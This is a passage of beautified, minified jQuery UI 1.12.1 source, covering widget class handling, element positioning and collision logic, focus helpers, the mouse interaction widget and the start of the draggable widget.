                for (t in e) r = this.classesElementLookup[t], e[t] !== this.options.classes[t] && r && r.length && (i = A(r.get()), this._removeClass(r, t), i.addClass(this._classes({
                    element: i,
                    keys: t,
                    classes: e,
                    add: !0
                })))
            },
            _setOptionDisabled: function(A) {
                this._toggleClass(this.widget(), this.widgetFullName + "-disabled", null, !!A), A && (this._removeClass(this.hoverable, null, "ui-state-hover"), this._removeClass(this.focusable, null, "ui-state-focus"))
            },
            enable: function() {
                return this._setOptions({
                    disabled: !1
                })
            },
            disable: function() {
                return this._setOptions({
                    disabled: !0
                })
            },
            _classes: function(e) {
                function t(t, o) {
                    var n, s;
                    for (s = 0; t.length > s; s++) n = r.classesElementLookup[t[s]] || A(), n = A(e.add ? A.unique(n.get().concat(e.element.get())) : n.not(e.element).get()), r.classesElementLookup[t[s]] = n, i.push(t[s]), o && e.classes[t[s]] && i.push(e.classes[t[s]])
                }
                var i = [],
                    r = this;
                return e = A.extend({
                    element: this.element,
                    classes: this.options.classes || {}
                }, e), this._on(e.element, {
                    remove: "_untrackClassesElement"
                }), e.keys && t(e.keys.match(/\S+/g) || [], !0), e.extra && t(e.extra.match(/\S+/g) || []), i.join(" ")
            },
            _untrackClassesElement: function(e) {
                var t = this;
                A.each(t.classesElementLookup, function(i, r) {
                    -1 !== A.inArray(e.target, r) && (t.classesElementLookup[i] = A(r.not(e.target).get()))
                })
            },
            _removeClass: function(A, e, t) {
                return this._toggleClass(A, e, t, !1)
            },
            _addClass: function(A, e, t) {
                return this._toggleClass(A, e, t, !0)
            },
            _toggleClass: function(A, e, t, i) {
                i = "boolean" == typeof i ? i : t;
                var r = "string" == typeof A || null === A,
                    o = {
                        extra: r ? e : t,
                        keys: r ? A : e,
                        element: r ? this.element : A,
                        add: i
                    };
                return o.element.toggleClass(this._classes(o), i), this
            },
            _on: function(e, t, i) {
                var r, o = this;
                "boolean" != typeof e && (i = t, t = e, e = !1), i ? (t = r = A(t), this.bindings = this.bindings.add(t)) : (i = t, t = this.element, r = this.widget()), A.each(i, function(i, n) {
                    function s() {
                        return e || !0 !== o.options.disabled && !A(this).hasClass("ui-state-disabled") ? ("string" == typeof n ? o[n] : n).apply(o, arguments) : void 0
                    }
                    "string" != typeof n && (s.guid = n.guid = n.guid || s.guid || A.guid++);
                    var a = i.match(/^([\w:-]*)\s*(.*)$/),
                        I = a[1] + o.eventNamespace,
                        l = a[2];
                    l ? r.on(I, l, s) : t.on(I, s)
                })
            },
            _off: function(e, t) {
                t = (t || "").split(" ").join(this.eventNamespace + " ") + this.eventNamespace, e.off(t).off(t), this.bindings = A(this.bindings.not(e).get()), this.focusable = A(this.focusable.not(e).get()), this.hoverable = A(this.hoverable.not(e).get())
            },
            _delay: function(A, e) {
                function t() {
                    return ("string" == typeof A ? i[A] : A).apply(i, arguments)
                }
                var i = this;
                return setTimeout(t, e || 0)
            },
            _hoverable: function(e) {
                this.hoverable = this.hoverable.add(e), this._on(e, {
                    mouseenter: function(e) {
                        this._addClass(A(e.currentTarget), null, "ui-state-hover")
                    },
                    mouseleave: function(e) {
                        this._removeClass(A(e.currentTarget), null, "ui-state-hover")
                    }
                })
            },
            _focusable: function(e) {
                this.focusable = this.focusable.add(e), this._on(e, {
                    focusin: function(e) {
                        this._addClass(A(e.currentTarget), null, "ui-state-focus")
                    },
                    focusout: function(e) {
                        this._removeClass(A(e.currentTarget), null, "ui-state-focus")
                    }
                })
            },
            _trigger: function(e, t, i) {
                var r, o, n = this.options[e];
                if (i = i || {}, t = A.Event(t), t.type = (e === this.widgetEventPrefix ? e : this.widgetEventPrefix + e).toLowerCase(), t.target = this.element[0], o = t.originalEvent)
                    for (r in o) r in t || (t[r] = o[r]);
                return this.element.trigger(t, i), !(A.isFunction(n) && !1 === n.apply(this.element[0], [t].concat(i)) || t.isDefaultPrevented())
            }
        }, A.each({
            show: "fadeIn",
            hide: "fadeOut"
        }, function(e, t) {
            A.Widget.prototype["_" + e] = function(i, r, o) {
                "string" == typeof r && (r = {
                    effect: r
                });
                var n, s = r ? !0 === r || "number" == typeof r ? t : r.effect || t : e;
                r = r || {}, "number" == typeof r && (r = {
                    duration: r
                }), n = !A.isEmptyObject(r), r.complete = o, r.delay && i.delay(r.delay), n && A.effects && A.effects.effect[s] ? i[e](r) : s !== e && i[s] ? i[s](r.duration, r.easing, o) : i.queue(function(t) {
                    A(this)[e](), o && o.call(i[0]), t()
                })
            }
        }), A.widget,
        function() {
            function e(A, e, t) {
                return [parseFloat(A[0]) * (c.test(A[0]) ? e / 100 : 1), parseFloat(A[1]) * (c.test(A[1]) ? t / 100 : 1)]
            }

            function t(e, t) {
                return parseInt(A.css(e, t), 10) || 0
            }

            function i(e) {
                var t = e[0];
                return 9 === t.nodeType ? {
                    width: e.width(),
                    height: e.height(),
                    offset: {
                        top: 0,
                        left: 0
                    }
                } : A.isWindow(t) ? {
                    width: e.width(),
                    height: e.height(),
                    offset: {
                        top: e.scrollTop(),
                        left: e.scrollLeft()
                    }
                } : t.preventDefault ? {
                    width: 0,
                    height: 0,
                    offset: {
                        top: t.pageY,
                        left: t.pageX
                    }
                } : {
                    width: e.outerWidth(),
                    height: e.outerHeight(),
                    offset: e.offset()
                }
            }
            var r, o = Math.max,
                n = Math.abs,
                s = /left|center|right/,
                a = /top|center|bottom/,
                I = /[\+\-]\d+(\.[\d]+)?%?/,
                l = /^\w+/,
                c = /%$/,
                B = A.fn.position;
            A.position = {
                scrollbarWidth: function() {
                    if (void 0 !== r) return r;
                    var e, t, i = A("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),
                        o = i.children()[0];
                    return A("body").append(i), e = o.offsetWidth, i.css("overflow", "scroll"), t = o.offsetWidth, e === t && (t = i[0].clientWidth), i.remove(), r = e - t
                },
                getScrollInfo: function(e) {
                    var t = e.isWindow || e.isDocument ? "" : e.element.css("overflow-x"),
                        i = e.isWindow || e.isDocument ? "" : e.element.css("overflow-y"),
                        r = "scroll" === t || "auto" === t && e.width < e.element[0].scrollWidth;
                    return {
                        width: "scroll" === i || "auto" === i && e.height < e.element[0].scrollHeight ? A.position.scrollbarWidth() : 0,
                        height: r ? A.position.scrollbarWidth() : 0
                    }
                },
                getWithinInfo: function(e) {
                    var t = A(e || window),
                        i = A.isWindow(t[0]),
                        r = !!t[0] && 9 === t[0].nodeType;
                    return {
                        element: t,
                        isWindow: i,
                        isDocument: r,
                        offset: i || r ? {
                            left: 0,
                            top: 0
                        } : A(e).offset(),
                        scrollLeft: t.scrollLeft(),
                        scrollTop: t.scrollTop(),
                        width: t.outerWidth(),
                        height: t.outerHeight()
                    }
                }
            }, A.fn.position = function(r) {
                if (!r || !r.of) return B.apply(this, arguments);
                r = A.extend({}, r);
                var c, g, h, E, u, Q, d = A(r.of),
                    f = A.position.getWithinInfo(r.within),
                    S = A.position.getScrollInfo(f),
                    w = (r.collision || "flip").split(" "),
                    p = {};
                return Q = i(d), d[0].preventDefault && (r.at = "left top"), g = Q.width, h = Q.height, E = Q.offset, u = A.extend({}, E), A.each(["my", "at"], function() {
                    var A, e, t = (r[this] || "").split(" ");
                    1 === t.length && (t = s.test(t[0]) ? t.concat(["center"]) : a.test(t[0]) ? ["center"].concat(t) : ["center", "center"]), t[0] = s.test(t[0]) ? t[0] : "center", t[1] = a.test(t[1]) ? t[1] : "center", A = I.exec(t[0]), e = I.exec(t[1]), p[this] = [A ? A[0] : 0, e ? e[0] : 0], r[this] = [l.exec(t[0])[0], l.exec(t[1])[0]]
                }), 1 === w.length && (w[1] = w[0]), "right" === r.at[0] ? u.left += g : "center" === r.at[0] && (u.left += g / 2), "bottom" === r.at[1] ? u.top += h : "center" === r.at[1] && (u.top += h / 2), c = e(p.at, g, h), u.left += c[0], u.top += c[1], this.each(function() {
                    var i, s, a = A(this),
                        I = a.outerWidth(),
                        l = a.outerHeight(),
                        B = t(this, "marginLeft"),
                        Q = t(this, "marginTop"),
                        C = I + B + t(this, "marginRight") + S.width,
                        D = l + Q + t(this, "marginBottom") + S.height,
                        v = A.extend({}, u),
                        m = e(p.my, a.outerWidth(), a.outerHeight());
                    "right" === r.my[0] ? v.left -= I : "center" === r.my[0] && (v.left -= I / 2), "bottom" === r.my[1] ? v.top -= l : "center" === r.my[1] && (v.top -= l / 2), v.left += m[0], v.top += m[1], i = {
                        marginLeft: B,
                        marginTop: Q
                    }, A.each(["left", "top"], function(e, t) {
                        A.ui.position[w[e]] && A.ui.position[w[e]][t](v, {
                            targetWidth: g,
                            targetHeight: h,
                            elemWidth: I,
                            elemHeight: l,
                            collisionPosition: i,
                            collisionWidth: C,
                            collisionHeight: D,
                            offset: [c[0] + m[0], c[1] + m[1]],
                            my: r.my,
                            at: r.at,
                            within: f,
                            elem: a
                        })
                    }), r.using && (s = function(A) {
                        var e = E.left - v.left,
                            t = e + g - I,
                            i = E.top - v.top,
                            s = i + h - l,
                            c = {
                                target: {
                                    element: d,
                                    left: E.left,
                                    top: E.top,
                                    width: g,
                                    height: h
                                },
                                element: {
                                    element: a,
                                    left: v.left,
                                    top: v.top,
                                    width: I,
                                    height: l
                                },
                                horizontal: 0 > t ? "left" : e > 0 ? "right" : "center",
                                vertical: 0 > s ? "top" : i > 0 ? "bottom" : "middle"
                            };
                        I > g && g > n(e + t) && (c.horizontal = "center"), l > h && h > n(i + s) && (c.vertical = "middle"), c.important = o(n(e), n(t)) > o(n(i), n(s)) ? "horizontal" : "vertical", r.using.call(this, A, c)
                    }), a.offset(A.extend(v, {
                        using: s
                    }))
                })
            }, A.ui.position = {
                fit: {
                    left: function(A, e) {
                        var t, i = e.within,
                            r = i.isWindow ? i.scrollLeft : i.offset.left,
                            n = i.width,
                            s = A.left - e.collisionPosition.marginLeft,
                            a = r - s,
                            I = s + e.collisionWidth - n - r;
                        e.collisionWidth > n ? a > 0 && 0 >= I ? (t = A.left + a + e.collisionWidth - n - r, A.left += a - t) : A.left = I > 0 && 0 >= a ? r : a > I ? r + n - e.collisionWidth : r : a > 0 ? A.left += a : I > 0 ? A.left -= I : A.left = o(A.left - s, A.left)
                    },
                    top: function(A, e) {
                        var t, i = e.within,
                            r = i.isWindow ? i.scrollTop : i.offset.top,
                            n = e.within.height,
                            s = A.top - e.collisionPosition.marginTop,
                            a = r - s,
                            I = s + e.collisionHeight - n - r;
                        e.collisionHeight > n ? a > 0 && 0 >= I ? (t = A.top + a + e.collisionHeight - n - r, A.top += a - t) : A.top = I > 0 && 0 >= a ? r : a > I ? r + n - e.collisionHeight : r : a > 0 ? A.top += a : I > 0 ? A.top -= I : A.top = o(A.top - s, A.top)
                    }
                },
                flip: {
                    left: function(A, e) {
                        var t, i, r = e.within,
                            o = r.offset.left + r.scrollLeft,
                            s = r.width,
                            a = r.isWindow ? r.scrollLeft : r.offset.left,
                            I = A.left - e.collisionPosition.marginLeft,
                            l = I - a,
                            c = I + e.collisionWidth - s - a,
                            B = "left" === e.my[0] ? -e.elemWidth : "right" === e.my[0] ? e.elemWidth : 0,
                            g = "left" === e.at[0] ? e.targetWidth : "right" === e.at[0] ? -e.targetWidth : 0,
                            h = -2 * e.offset[0];
                        0 > l ? (0 > (t = A.left + B + g + h + e.collisionWidth - s - o) || n(l) > t) && (A.left += B + g + h) : c > 0 && ((i = A.left - e.collisionPosition.marginLeft + B + g + h - a) > 0 || c > n(i)) && (A.left += B + g + h)
                    },
                    top: function(A, e) {
                        var t, i, r = e.within,
                            o = r.offset.top + r.scrollTop,
                            s = r.height,
                            a = r.isWindow ? r.scrollTop : r.offset.top,
                            I = A.top - e.collisionPosition.marginTop,
                            l = I - a,
                            c = I + e.collisionHeight - s - a,
                            B = "top" === e.my[1],
                            g = B ? -e.elemHeight : "bottom" === e.my[1] ? e.elemHeight : 0,
                            h = "top" === e.at[1] ? e.targetHeight : "bottom" === e.at[1] ? -e.targetHeight : 0,
                            E = -2 * e.offset[1];
                        0 > l ? (0 > (i = A.top + g + h + E + e.collisionHeight - s - o) || n(l) > i) && (A.top += g + h + E) : c > 0 && ((t = A.top - e.collisionPosition.marginTop + g + h + E - a) > 0 || c > n(t)) && (A.top += g + h + E)
                    }
                },
                flipfit: {
                    left: function() {
                        A.ui.position.flip.left.apply(this, arguments), A.ui.position.fit.left.apply(this, arguments)
                    },
                    top: function() {
                        A.ui.position.flip.top.apply(this, arguments), A.ui.position.fit.top.apply(this, arguments)
                    }
                }
            }
        }(), A.ui.position, A.extend(A.expr[":"], {
            data: A.expr.createPseudo ? A.expr.createPseudo(function(e) {
                return function(t) {
                    return !!A.data(t, e)
                }
            }) : function(e, t, i) {
                return !!A.data(e, i[3])
            }
        }), A.fn.extend({
            disableSelection: function() {
                var A = "onselectstart" in document.createElement("div") ? "selectstart" : "mousedown";
                return function() {
                    return this.on(A + ".ui-disableSelection", function(A) {
                        A.preventDefault()
                    })
                }
            }(),
            enableSelection: function() {
                return this.off(".ui-disableSelection")
            }
        }), A.ui.focusable = function(t, i) {
            var r, o, n, s, a, I = t.nodeName.toLowerCase();
            return "area" === I ? (r = t.parentNode, o = r.name, !(!t.href || !o || "map" !== r.nodeName.toLowerCase()) && (n = A("img[usemap='#" + o + "']"), n.length > 0 && n.is(":visible"))) : (/^(input|select|textarea|button|object)$/.test(I) ? (s = !t.disabled) && (a = A(t).closest("fieldset")[0]) && (s = !a.disabled) : s = "a" === I ? t.href || i : i, s && A(t).is(":visible") && e(A(t)))
        }, A.extend(A.expr[":"], {
            focusable: function(e) {
                return A.ui.focusable(e, null != A.attr(e, "tabindex"))
            }
        }), A.ui.focusable, A.fn.form = function() {
            return "string" == typeof this[0].form ? this.closest("form") : A(this[0].form)
        }, A.ui.formResetMixin = {
            _formResetHandler: function() {
                var e = A(this);
                setTimeout(function() {
                    var t = e.data("ui-form-reset-instances");
                    A.each(t, function() {
                        this.refresh()
                    })
                })
            },
            _bindFormResetHandler: function() {
                if (this.form = this.element.form(), this.form.length) {
                    var A = this.form.data("ui-form-reset-instances") || [];
                    A.length || this.form.on("reset.ui-form-reset", this._formResetHandler), A.push(this), this.form.data("ui-form-reset-instances", A)
                }
            },
            _unbindFormResetHandler: function() {
                if (this.form.length) {
                    var e = this.form.data("ui-form-reset-instances");
                    e.splice(A.inArray(this, e), 1), e.length ? this.form.data("ui-form-reset-instances", e) : this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset")
                }
            }
        }, "1.7" === A.fn.jquery.substring(0, 3) && (A.each(["Width", "Height"], function(e, t) {
            function i(e, t, i, o) {
                return A.each(r, function() {
                    t -= parseFloat(A.css(e, "padding" + this)) || 0, i && (t -= parseFloat(A.css(e, "border" + this + "Width")) || 0), o && (t -= parseFloat(A.css(e, "margin" + this)) || 0)
                }), t
            }
            var r = "Width" === t ? ["Left", "Right"] : ["Top", "Bottom"],
                o = t.toLowerCase(),
                n = {
                    innerWidth: A.fn.innerWidth,
                    innerHeight: A.fn.innerHeight,
                    outerWidth: A.fn.outerWidth,
                    outerHeight: A.fn.outerHeight
                };
            A.fn["inner" + t] = function(e) {
                return void 0 === e ? n["inner" + t].call(this) : this.each(function() {
                    A(this).css(o, i(this, e) + "px")
                })
            }, A.fn["outer" + t] = function(e, r) {
                return "number" != typeof e ? n["outer" + t].call(this, e) : this.each(function() {
                    A(this).css(o, i(this, e, !0, r) + "px")
                })
            }
        }), A.fn.addBack = function(A) {
            return this.add(null == A ? this.prevObject : this.prevObject.filter(A))
        }), A.ui.keyCode = {
            BACKSPACE: 8,
            COMMA: 188,
            DELETE: 46,
            DOWN: 40,
            END: 35,
            ENTER: 13,
            ESCAPE: 27,
            HOME: 36,
            LEFT: 37,
            PAGE_DOWN: 34,
            PAGE_UP: 33,
            PERIOD: 190,
            RIGHT: 39,
            SPACE: 32,
            TAB: 9,
            UP: 38
        }, A.ui.escapeSelector = function() {
            var A = /([!"#$%&'()*+,.\/:;<=>?@[\]^`{|}~])/g;
            return function(e) {
                return e.replace(A, "\\$1")
            }
        }(), A.fn.labels = function() {
            var e, t, i, r, o;
            return this[0].labels && this[0].labels.length ? this.pushStack(this[0].labels) : (r = this.eq(0).parents("label"), i = this.attr("id"), i && (e = this.eq(0).parents().last(), o = e.add(e.length ? e.siblings() : this.siblings()), t = "label[for='" + A.ui.escapeSelector(i) + "']", r = r.add(o.find(t).addBack(t))), this.pushStack(r))
        }, A.fn.scrollParent = function(e) {
            var t = this.css("position"),
                i = "absolute" === t,
                r = e ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
                o = this.parents().filter(function() {
                    var e = A(this);
                    return (!i || "static" !== e.css("position")) && r.test(e.css("overflow") + e.css("overflow-y") + e.css("overflow-x"))
                }).eq(0);
            return "fixed" !== t && o.length ? o : A(this[0].ownerDocument || document)
        }, A.extend(A.expr[":"], {
            tabbable: function(e) {
                var t = A.attr(e, "tabindex"),
                    i = null != t;
                return (!i || t >= 0) && A.ui.focusable(e, i)
            }
        }), A.fn.extend({
            uniqueId: function() {
                var A = 0;
                return function() {
                    return this.each(function() {
                        this.id || (this.id = "ui-id-" + ++A)
                    })
                }
            }(),
            removeUniqueId: function() {
                return this.each(function() {
                    /^ui-id-\d+$/.test(this.id) && A(this).removeAttr("id")
                })
            }
        }), A.ui.ie = !!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());
    var l = !1;
    A(document).on("mouseup", function() {
        l = !1
    }), A.widget("ui.mouse", {
        version: "1.12.1",
        options: {
            cancel: "input, textarea, button, select, option",
            distance: 1,
            delay: 0
        },
        _mouseInit: function() {
            var e = this;
            this.element.on("mousedown." + this.widgetName, function(A) {
                return e._mouseDown(A)
            }).on("click." + this.widgetName, function(t) {
                return !0 === A.data(t.target, e.widgetName + ".preventClickEvent") ? (A.removeData(t.target, e.widgetName + ".preventClickEvent"), t.stopImmediatePropagation(), !1) : void 0
            }), this.started = !1
        },
        _mouseDestroy: function() {
            this.element.off("." + this.widgetName), this._mouseMoveDelegate && this.document.off("mousemove." + this.widgetName, this._mouseMoveDelegate).off("mouseup." + this.widgetName, this._mouseUpDelegate)
        },
        _mouseDown: function(e) {
            if (!l) {
                this._mouseMoved = !1, this._mouseStarted && this._mouseUp(e), this._mouseDownEvent = e;
                var t = this,
                    i = 1 === e.which,
                    r = !("string" != typeof this.options.cancel || !e.target.nodeName) && A(e.target).closest(this.options.cancel).length;
                return !(i && !r && this._mouseCapture(e)) || (this.mouseDelayMet = !this.options.delay, this.mouseDelayMet || (this._mouseDelayTimer = setTimeout(function() {
                    t.mouseDelayMet = !0
                }, this.options.delay)), this._mouseDistanceMet(e) && this._mouseDelayMet(e) && (this._mouseStarted = !1 !== this._mouseStart(e), !this._mouseStarted) ? (e.preventDefault(), !0) : (!0 === A.data(e.target, this.widgetName + ".preventClickEvent") && A.removeData(e.target, this.widgetName + ".preventClickEvent"), this._mouseMoveDelegate = function(A) {
                    return t._mouseMove(A)
                }, this._mouseUpDelegate = function(A) {
                    return t._mouseUp(A)
                }, this.document.on("mousemove." + this.widgetName, this._mouseMoveDelegate).on("mouseup." + this.widgetName, this._mouseUpDelegate), e.preventDefault(), l = !0, !0))
            }
        },
        _mouseMove: function(e) {
            if (this._mouseMoved) {
                if (A.ui.ie && (!document.documentMode || 9 > document.documentMode) && !e.button) return this._mouseUp(e);
                if (!e.which)
                    if (e.originalEvent.altKey || e.originalEvent.ctrlKey || e.originalEvent.metaKey || e.originalEvent.shiftKey) this.ignoreMissingWhich = !0;
                    else if (!this.ignoreMissingWhich) return this._mouseUp(e)
            }
            return (e.which || e.button) && (this._mouseMoved = !0), this._mouseStarted ? (this._mouseDrag(e), e.preventDefault()) : (this._mouseDistanceMet(e) && this._mouseDelayMet(e) && (this._mouseStarted = !1 !== this._mouseStart(this._mouseDownEvent, e), this._mouseStarted ? this._mouseDrag(e) : this._mouseUp(e)), !this._mouseStarted)
        },
        _mouseUp: function(e) {
            this.document.off("mousemove." + this.widgetName, this._mouseMoveDelegate).off("mouseup." + this.widgetName, this._mouseUpDelegate), this._mouseStarted && (this._mouseStarted = !1, e.target === this._mouseDownEvent.target && A.data(e.target, this.widgetName + ".preventClickEvent", !0), this._mouseStop(e)), this._mouseDelayTimer && (clearTimeout(this._mouseDelayTimer), delete this._mouseDelayTimer), this.ignoreMissingWhich = !1, l = !1, e.preventDefault()
        },
        _mouseDistanceMet: function(A) {
            return Math.max(Math.abs(this._mouseDownEvent.pageX - A.pageX), Math.abs(this._mouseDownEvent.pageY - A.pageY)) >= this.options.distance
        },
        _mouseDelayMet: function() {
            return this.mouseDelayMet
        },
        _mouseStart: function() {},
        _mouseDrag: function() {},
        _mouseStop: function() {},
        _mouseCapture: function() {
            return !0
        }
    }), A.ui.plugin = {
        add: function(e, t, i) {
            var r, o = A.ui[e].prototype;
            for (r in i) o.plugins[r] = o.plugins[r] || [], o.plugins[r].push([t, i[r]])
        },
        call: function(A, e, t, i) {
            var r, o = A.plugins[e];
            if (o && (i || A.element[0].parentNode && 11 !== A.element[0].parentNode.nodeType))
                for (r = 0; o.length > r; r++) A.options[o[r][0]] && o[r][1].apply(A.element, t)
        }
    }, A.ui.safeActiveElement = function(A) {
        var e;
        try {
            e = A.activeElement
        } catch (t) {
            e = A.body
        }
        return e || (e = A.body), e.nodeName || (e = A.body), e
    }, A.ui.safeBlur = function(e) {
        e && "body" !== e.nodeName.toLowerCase() && A(e).trigger("blur")
    }, A.widget("ui.draggable", A.ui.mouse, {
        version: "1.12.1",
        widgetEventPrefix: "drag",
        options: {
            addClasses: !0,
            appendTo: "parent",
            axis: !1,
            connectToSortable: !1,
            containment: !1,
            cursor: "auto",
            cursorAt: !1,
            grid: !1,
            handle: !1,
            helper: "original",
            iframeFix: !1,
            opacity: !1,
            refreshPositions: !1,
            revert: !1,
            revertDuration: 500,
            scope: "default",
            scroll: !0,
            scrollSensitivity: 20,
            scrollSpeed: 20,
            snap: !1,
            snapMode: "both",
            snapTolerance: 20,
            stack: !1,
            zIndex: !1,
            drag: null,
            start: null,
            stop: null
        },
        _create: function() {
            "original" === this.options.helper && this._setPositionRelative(), this.options.addClasses && this._addClass("ui-draggable"), this._setHandleClassName(), this._mouseInit()
        },
        _setOption: function(A, e) {
            this._super(A, e), "handle" === A && (this._removeHandleClassName(), this._setHandleClassName())
        },
        _destroy: function() {
            return (this.helper || this.element).is(".ui-draggable-dragging") ? void(this.destroyOnClear = !0) : (this._removeHandleClassName(), void this._mouseDestroy())
        },
        _mouseCapture: function(e) {
            var t = this.options;
            return !(this.helper || t.disabled || A(e.target).closest(".ui-resizable-handle").length > 0) && (this.handle = this._getHandle(e), !!this.handle && (this._blurActiveElement(e), this._blockFrames(!0 === t.iframeFix ? "iframe" : t.iframeFix), !0))
        },
        _blockFrames: function(e) {
            this.iframeBlocks = this.document.find(e).map(function() {
                var e = A(this);
                return A("<div>").css("position", "absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]
            })
        },
        _unblockFrames: function() {
            this.iframeBlocks && (this.iframeBlocks.remove(), delete this.iframeBlocks)
        },
        _blurActiveElement: function(e) {
            var t = A.ui.safeActiveElement(this.document[0]);
            A(e.target).closest(t).length || A.ui.safeBlur(t)
        },
        _mouseStart: function(e) {
            var t = this.options;
            return this.helper = this._createHelper(e), this._addClass(this.helper, "ui-draggable-dragging"), this._cacheHelperProportions(), A.ui.ddmanager && (A.ui.ddmanager.current = this), this._cacheMargins(), this.cssPosition = this.helper.css("position"), this.scrollParent = this.helper.scrollParent(!0), this.offsetParent = this.helper.offsetParent(), this.hasFixedAncestor = this.helper.parents().filter(function() {
                return "fixed" === A(this).css("position")
            }).length > 0, this.positionAbs = this.element.offset(), this._refreshOffsets(e), this.originalPosition = this.position = this._generatePosition(e, !1), this.originalPageX = e.pageX, this.originalPageY = e.pageY, t.cursorAt && this._adjustOffsetFromHelper(t.cursorAt), this._setContainment(), !1 === this._trigger("start", e) ? (this._clear(), !1) : (this._cacheHelperProportions(), A.ui.ddmanager && !t.dropBehaviour && A.ui.ddmanager.prepareOffsets(this, e), this._mouseDrag(e, !0), A.ui.ddmanager && A.ui.ddmanager.dragStart(this, e), !0)
        },
        _refreshOffsets: function(A) {
            this.offset = {
                top: this.positionAbs.top - this.margins.top,
                left: this.positionAbs.left - this.margins.left,
                scroll: !1,
                parent: this._getParentOffset(),
                relative: this._getRelativeOffset()
            }, this.offset.click = {
                left: A.pageX - this.offset.left,
                top: A.pageY - this.offset.top
            }
        },
        _mouseDrag: function(e, t) {
            if (this.hasFixedAncestor && (this.offset.parent = this._getParentOffset()), this.position = this._generatePosition(e, !0), this.positionAbs = this._convertPositionTo("absolute"), !t) {
                var i = this._uiHash();
                if (!1 === this._trigger("drag", e, i)) return this._mouseUp(new A.Event("mouseup", e)), !1;
                this.position = i.position
            }
            return this.helper[0].style.left = this.position.left + "px", this.helper[0].style.top = this.position.top + "px", A.ui.ddmanager && A.ui.ddmanager.drag(this, e), !1
        },
        _mouseStop: function(e) {
            var t = this,
                i = !1;
            return A.ui.ddmanager && !this.options.dropBehaviour && (i = A.ui.ddmanager.drop(this, e)), this.dropped && (i = this.dropped, this.dropped = !1), "invalid" === this.options.revert && !i || "valid" === this.options.revert && i || !0 === this.options.revert || A.isFunction(this.options.revert) && this.options.revert.call(this.element, i) ? A(this.helper).animate(this.originalPosition, parseInt(this.options.revertDuration, 10), function() {
                !1 !== t._trigger("stop", e) && t._clear()
            }) : !1 !== this._trigger("stop", e) && this._clear(), !1
        },
        _mouseUp: function(e) {
            return this._unblockFrames(), A.ui.ddmanager && A.ui.ddmanager.dragStop(this, e), this.handleElement.is(e.target) && this.element.trigger("focus"), A.ui.mouse.prototype._mouseUp.call(this, e)
        },
        cancel: function() {
            return this.helper.is(".ui-draggable-dragging") ? this._mouseUp(new A.Event("mouseup", {
                target: this.element[0]
            })) : this._clear(), this
        },
        _getHandle: function(e) {
            return !this.options.handle || !!A(e.target).closest(this.element.find(this.options.handle)).length
        },
        _setHandleClassName: function() {
            this.handleElement = this.options.handle ? this.element.find(this.options.handle) : this.element, this._addClass(this.handleElement, "ui-draggable-handle")
        },
        _removeHandleClassName: function() {
            this._removeClass(this.handleElement, "ui-draggable-handle")
        },
        _createHelper: function(e) {
            var t = this.options,
                i = A.isFunction(t.helper),
                r = i ? A(t.helper.apply(this.element[0], [e])) : "clone" === t.helper ? this.element.clone().removeAttr("id") : this.element;
            return r.parents("body").length || r.appendTo("parent" === t.appendTo ? this.element[0].parentNode : t.appendTo), i && r[0] === this.element[0] && this._setPositionRelative(), r[0] === this.element[0] || /(fixed|absolute)/.test(r.css("position")) || r.css("position", "absolute"), r
        },
        _setPositionRelative: function() {
            /^(?:r|a|f)/.test(this.element.css("position")) || (this.element[0].style.position = "relative")
        },
        _adjustOffsetFromHelper: function(e) {
            "string" == typeof e && (e = e.split(" ")), A.isArray(e) && (e = {
                left: +e[0],
                top: +e[1] || 0
            }), "left" in e && (this.offset.click.left = e.left + this.margins.left), "right" in e && (this.offset.click.left = this.helperProportions.width - e.right + this.margins.left), "top" in e && (this.offset.click.top = e.top + this.margins.top), "bottom" in e && (this.offset.click.top = this.helperProportions.height - e.bottom + this.margins.top)
        },
        _isRootNode: function(A) {
            return /(html|body)/i.test(A.tagName) || A === this.document[0]
        },
        _getParentOffset: function() {
            var e = this.offsetParent.offset(),
                t = this.document[0];
            return "absolute" === this.cssPosition && this.scrollParent[0] !== t && A.contains(this.scrollParent[0], this.offsetParent[0]) && (e.left += this.scrollParent.scrollLeft(), e.top += this.scrollParent.scrollTop()), this._isRootNode(this.offsetParent[0]) && (e = {
                top: 0,
                left: 0
            }), {
                top: e.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
                left: e.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
            }
        },
        _getRelativeOffset: function() {
            if ("relative" !== this.cssPosition) return {
                top: 0,
                left: 0
            };
            var A = this.element.position(),
                e = this._isRootNode(this.scrollParent[0]);
            return {
                top: A.top - (parseInt(this.helper.css("top"), 10) || 0) + (e ? 0 : this.scrollParent.scrollTop()),
                left: A.left - (parseInt(this.helper.css("left"), 10) || 0) + (e ? 0 : this.scrollParent.scrollLeft())
            }
        },
        _cacheMargins: function() {
            this.margins = {
                left: parseInt(this.element.css("marginLeft"), 10) || 0,
                top: parseInt(this.element.css("marginTop"), 10) || 0,
                right: parseInt(this.element.css("marginRight"), 10) || 0,
                bottom: parseInt(this.element.css("marginBottom"), 10) || 0
            }
        },
        _cacheHelperProportions: function() {
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            }
        },
        _setContainment: function() {
            var e, t, i, r = this.options,
                o = this.document[0];
